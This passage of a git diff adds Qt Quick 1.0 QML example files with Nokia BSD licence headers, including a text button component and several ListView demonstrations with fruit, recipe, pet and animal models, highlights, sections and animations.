+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property alias text: label.text
+
+ signal clicked
+
+ width: label.width + 20; height: label.height + 6
+ smooth: true
+ radius: 10
+
+ gradient: Gradient {
+ GradientStop { id: gradientStop; position: 0.0; color: palette.light }
+ GradientStop { position: 1.0; color: palette.button }
+ }
+
+ SystemPalette { id: palette }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: { container.clicked() }
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ }
+
+ states: State {
+ name: "pressed"
+ when: mouseArea.pressed
+ PropertyChanges { target: gradientStop; color: palette.dark }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-down.png b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-down.png
new file mode 100644
index 00000000..29d1d443
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-down.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-up.png b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-up.png
new file mode 100644
index 00000000..e4373122
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-up.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/fruit-salad.jpg b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/fruit-salad.jpg
new file mode 100644
index 00000000..da5a6b10
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/fruit-salad.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/hamburger.jpg b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/hamburger.jpg
new file mode 100644
index 00000000..d0a15be1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/hamburger.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/lemonade.jpg b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/lemonade.jpg
new file mode 100644
index 00000000..db445c9a
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/lemonade.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/list-delete.png b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/list-delete.png
new file mode 100644
index 00000000..df2a147d
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/list-delete.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/minus-sign.png b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/minus-sign.png
new file mode 100644
index 00000000..d6f233d7
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/minus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreDown.png b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreDown.png
new file mode 100644
index 00000000..31a35d5c
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreDown.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreUp.png b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreUp.png
new file mode 100644
index 00000000..fefb9c90
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreUp.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/pancakes.jpg b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/pancakes.jpg
new file mode 100644
index 00000000..60c43963
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/pancakes.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/plus-sign.png b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/plus-sign.png
new file mode 100644
index 00000000..40df1134
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/plus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/vegetable-soup.jpg b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/vegetable-soup.jpg
new file mode 100644
index 00000000..9dce3320
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/vegetable-soup.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/dynamiclist.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/dynamiclist.qml
new file mode 100644
index 00000000..0144b0d6
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/dynamiclist.qml
@@ -0,0 +1,203 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import "content"
+
+// This example shows how items can be dynamically added to and removed from
+// a ListModel, and how these list modifications can be animated.
+
+Rectangle {
+ id: container
+ width: 500; height: 400
+ color: "#343434"
+
+ // The model:
+ ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"; cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Banana"; cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+ ListElement {
+ name: "Cumquat"; cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Durian"; cost: 9.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Smelly" }
+ ]
+ }
+ }
+
+ // The delegate for each fruit in the model:
+ Component {
+ id: listDelegate
+
+ Item {
+ id: delegateItem
+ width: listView.width; height: 55
+ clip: true
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ spacing: 10
+
+ Column {
+ Image {
+ source: "content/pics/arrow-up.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index-1, 1) }
+ }
+ Image { source: "content/pics/arrow-down.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index+1, 1) }
+ }
+ }
+
+ Column {
+ anchors.verticalCenter: parent.verticalCenter
+
+ Text {
+ text: name
+ font.pixelSize: 15
+ color: "white"
+ }
+ Row {
+ spacing: 5
+ Repeater {
+ model: attributes
+ Text { text: description; color: "White" }
+ }
+ }
+ }
+ }
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.right: parent.right
+ spacing: 10
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/plus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", cost + 0.25)
+ }
+
+ Text {
+ id: costText
+ anchors.verticalCenter: parent.verticalCenter
+ text: '$' + Number(cost).toFixed(2)
+ font.pixelSize: 15
+ color: "white"
+ font.bold: true
+ }
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/minus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", Math.max(0,cost-0.25))
+ }
+
+ Image {
+ source: "content/pics/list-delete.png"
+ MouseArea { anchors.fill:parent; onClicked: fruitModel.remove(index) }
+ }
+ }
+
+ // Animate adding and removing of items:
+
+ ListView.onAdd: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "height"; value: 0 }
+ NumberAnimation { target: delegateItem; property: "height"; to: 55; duration: 250; easing.type: Easing.InOutQuad }
+ }
+
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: delegateItem; property: "height"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+
+ // Make sure delayRemove is set back to false so that the item can be destroyed
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: false }
+ }
+ }
+ }
+
+ // The view:
+ ListView {
+ id: listView
+ anchors.fill: parent; anchors.margins: 20
+ model: fruitModel
+ delegate: listDelegate
+ }
+
+ Row {
+ anchors { left: parent.left; bottom: parent.bottom; margins: 20 }
+ spacing: 10
+
+ TextButton {
+ text: "Add an item"
+ onClicked: {
+ fruitModel.append({
+ "name": "Pizza Margarita",
+ "cost": 5.95,
+ "attributes": [{"description": "Cheese"}, {"description": "Tomato"}]
+ })
+ }
+ }
+
+ TextButton {
+ text: "Remove all items"
+ onClicked: fruitModel.clear()
+ }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/expandingdelegates.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/expandingdelegates.qml
new file mode 100644
index 00000000..152086cb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/expandingdelegates.qml
@@ -0,0 +1,202 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+// This example illustrates expanding a list item to show a more detailed view.
+
+Rectangle {
+ id: page
+ width: 400; height: 240
+ color: "black"
+
+ // Delegate for the recipes. This delegate has two modes:
+ // 1. List mode (default), which just shows the picture and title of the recipe.
+ // 2. Details mode, which also shows the ingredients and method.
+ Component {
+ id: recipeDelegate
+
+ Item {
+ id: recipe
+
+ // Create a property to contain the visibility of the details.
+ // We can bind multiple element's opacity to this one property,
+ // rather than having a "PropertyChanges" line for each element we
+ // want to fade.
+ property real detailsOpacity : 0
+
+ width: listView.width
+ height: 70
+
+ // A simple rounded rectangle for the background
+ Rectangle {
+ id: background
+ x: 2; y: 2; width: parent.width - x*2; height: parent.height - y*2
+ color: "ivory"
+ border.color: "orange"
+ radius: 5
+ }
+
+ // This mouse region covers the entire delegate.
+ // When clicked it changes mode to 'Details'. If we are already
+ // in Details mode, then no change will happen.
+ MouseArea {
+ anchors.fill: parent
+ onClicked: recipe.state = 'Details';
+ }
+
+ // Lay out the page: picture, title and ingredients at the top, and method at the
+ // bottom. Note that elements that should not be visible in the list
+ // mode have their opacity set to recipe.detailsOpacity.
+ Row {
+ id: topLayout
+ x: 10; y: 10; height: recipeImage.height; width: parent.width
+ spacing: 10
+
+ Image {
+ id: recipeImage
+ width: 50; height: 50
+ source: picture
+ }
+
+ Column {
+ width: background.width - recipeImage.width - 20; height: recipeImage.height
+ spacing: 5
+
+ Text {
+ text: title
+ font.bold: true; font.pointSize: 16
+ }
+
+ Text {
+ text: "Ingredients"
+ font.pointSize: 12; font.bold: true
+ opacity: recipe.detailsOpacity
+ }
+
+ Text {
+ text: ingredients
+ wrapMode: Text.WordWrap
+ width: parent.width
+ opacity: recipe.detailsOpacity
+ }
+ }
+ }
+
+ Item {
+ id: details
+ x: 10; width: parent.width - 20
+ anchors { top: topLayout.bottom; topMargin: 10; bottom: parent.bottom; bottomMargin: 10 }
+ opacity: recipe.detailsOpacity
+
+ Text {
+ id: methodTitle
+ anchors.top: parent.top
+ text: "Method"
+ font.pointSize: 12; font.bold: true
+ }
+
+ Flickable {
+ id: flick
+ width: parent.width
+ anchors { top: methodTitle.bottom; bottom: parent.bottom }
+ contentHeight: methodText.height
+ clip: true
+
+ Text { id: methodText; text: method; wrapMode: Text.WordWrap; width: details.width }
+ }
+
+ Image {
+ anchors { right: flick.right; top: flick.top }
+ source: "content/pics/moreUp.png"
+ opacity: flick.atYBeginning ? 0 : 1
+ }
+
+ Image {
+ anchors { right: flick.right; bottom: flick.bottom }
+ source: "content/pics/moreDown.png"
+ opacity: flick.atYEnd ? 0 : 1
+ }
+ }
+
+ // A button to close the detailed view, i.e. set the state back to default ('').
+ TextButton {
+ y: 10
+ anchors { right: background.right; rightMargin: 10 }
+ opacity: recipe.detailsOpacity
+ text: "Close"
+
+ onClicked: recipe.state = '';
+ }
+
+ states: State {
+ name: "Details"
+
+ PropertyChanges { target: background; color: "white" }
+ PropertyChanges { target: recipeImage; width: 130; height: 130 } // Make picture bigger
+ PropertyChanges { target: recipe; detailsOpacity: 1; x: 0 } // Make details visible
+ PropertyChanges { target: recipe; height: listView.height } // Fill the entire list area with the detailed view
+
+ // Move the list so that this item is at the top.
+ PropertyChanges { target: recipe.ListView.view; explicit: true; contentY: recipe.y }
+
+ // Disallow flicking while we're in detailed view
+ PropertyChanges { target: recipe.ListView.view; interactive: false }
+ }
+
+ transitions: Transition {
+ // Make the state changes smooth
+ ParallelAnimation {
+ ColorAnimation { property: "color"; duration: 500 }
+ NumberAnimation { duration: 300; properties: "detailsOpacity,x,contentY,height,width" }
+ }
+ }
+ }
+ }
+
+ // The actual list
+ ListView {
+ id: listView
+ anchors.fill: parent
+ model: RecipesModel {}
+ delegate: recipeDelegate
+ }
+}
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlight.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlight.qml
new file mode 100644
index 00000000..ebce5e34
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlight.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how to create your own highlight delegate for a ListView
+// that uses a SpringAnimation to provide custom movement when the
+// highlight bar is moved between items.
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ width: 200; height: 300
+
+ // Define a delegate component. A component will be
+ // instantiated for each visible item in the list.
+ Component {
+ id: petDelegate
+ Item {
+ id: wrapper
+ width: 200; height: 55
+ Column {
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ // indent the item if it is the current item
+ states: State {
+ name: "Current"
+ when: wrapper.ListView.isCurrentItem
+ PropertyChanges { target: wrapper; x: 20 }
+ }
+ transitions: Transition {
+ NumberAnimation { properties: "x"; duration: 200 }
+ }
+ }
+ }
+
+ // Define a highlight with customised movement between items.
+ Component {
+ id: highlightBar
+ Rectangle {
+ width: 200; height: 50
+ color: "#FFFF88"
+ y: listView.currentItem.y;
+ Behavior on y { SpringAnimation { spring: 2; damping: 0.1 } }
+ }
+ }
+
+ ListView {
+ id: listView
+ width: 200; height: parent.height
+
+ model: PetsModel {}
+ delegate: petDelegate
+ focus: true
+
+ // Set the highlight delegate. Note we must also set highlightFollowsCurrentItem
+ // to false so the highlight delegate can control how the highlight is moved.
+ highlight: highlightBar
+ highlightFollowsCurrentItem: false
+ }
+}
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlightranges.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlightranges.qml
new file mode 100644
index 00000000..eda6056b
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlightranges.qml
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: root
+ property int current: 0
+ width: 600; height: 300
+
+ // This example shows the same model in three different ListView items,
+ // with different highlight ranges. The highlight ranges are set by the
+ // preferredHighlightBegin and preferredHighlightEnd properties in ListView.
+ //
+ // The first ListView does not set a highlight range, so its currentItem
+ // can move freely within the visible area. If it moves outside the
+ // visible area, the view is automatically scrolled to keep the current
+ // item visible.
+ //
+ // The second ListView sets a highlight range which attempts to keep the
+ // current item within the the bounds of the range. However,
+ // items will not scroll beyond the beginning or end of the view,
+ // forcing the highlight to move outside the range at the ends.
+ //
+ // The third ListView sets the highlightRangeMode to StrictlyEnforceRange
+ // and sets a range smaller than the height of an item. This
+ // forces the current item to change when the view is flicked,
+ // since the highlight is unable to move.
+ //
+ // All ListViews bind their currentIndex to the root.current property.
+ // The first ListView sets root.current whenever its currentIndex changes
+ // due to keyboard interaction.
+ // Flicking the third ListView with the mouse also changes root.current.
+
+ ListView {
+ id: list1
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "lightsteelblue" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ focus: true
+ }
+
+ ListView {
+ id: list2
+ x: list1.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ preferredHighlightBegin: 80; preferredHighlightEnd: 220
+ highlightRangeMode: ListView.ApplyRange
+ }
+
+ ListView {
+ id: list3
+ x: list1.width + list2.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ preferredHighlightBegin: 125; preferredHighlightEnd: 125
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+ // The delegate for each list
+ Component {
+ id: petDelegate
+ Column {
+ width: 200
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/sections.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/sections.qml
new file mode 100644
index 00000000..4589bef8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/sections.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how a ListView can be separated into sections using
+// the ListView.section attached property.
+
+import QtQuick 1.0
+
+//! [0]
+Rectangle {
+ id: container
+ width: 200
+ height: 250
+
+ ListModel {
+ id: animalsModel
+ ListElement { name: "Parrot"; size: "Small" }
+ ListElement { name: "Guinea pig"; size: "Small" }
+ ListElement { name: "Dog"; size: "Medium" }
+ ListElement { name: "Cat"; size: "Medium" }
+ ListElement { name: "Elephant"; size: "Large" }
+ }
+
+ // The delegate for each section header
+ Component {
+ id: sectionHeading
+ Rectangle {
+ width: container.width
+ height: childrenRect.height
+ color: "lightsteelblue"
+
+ Text {
+ text: section
+ font.bold: true
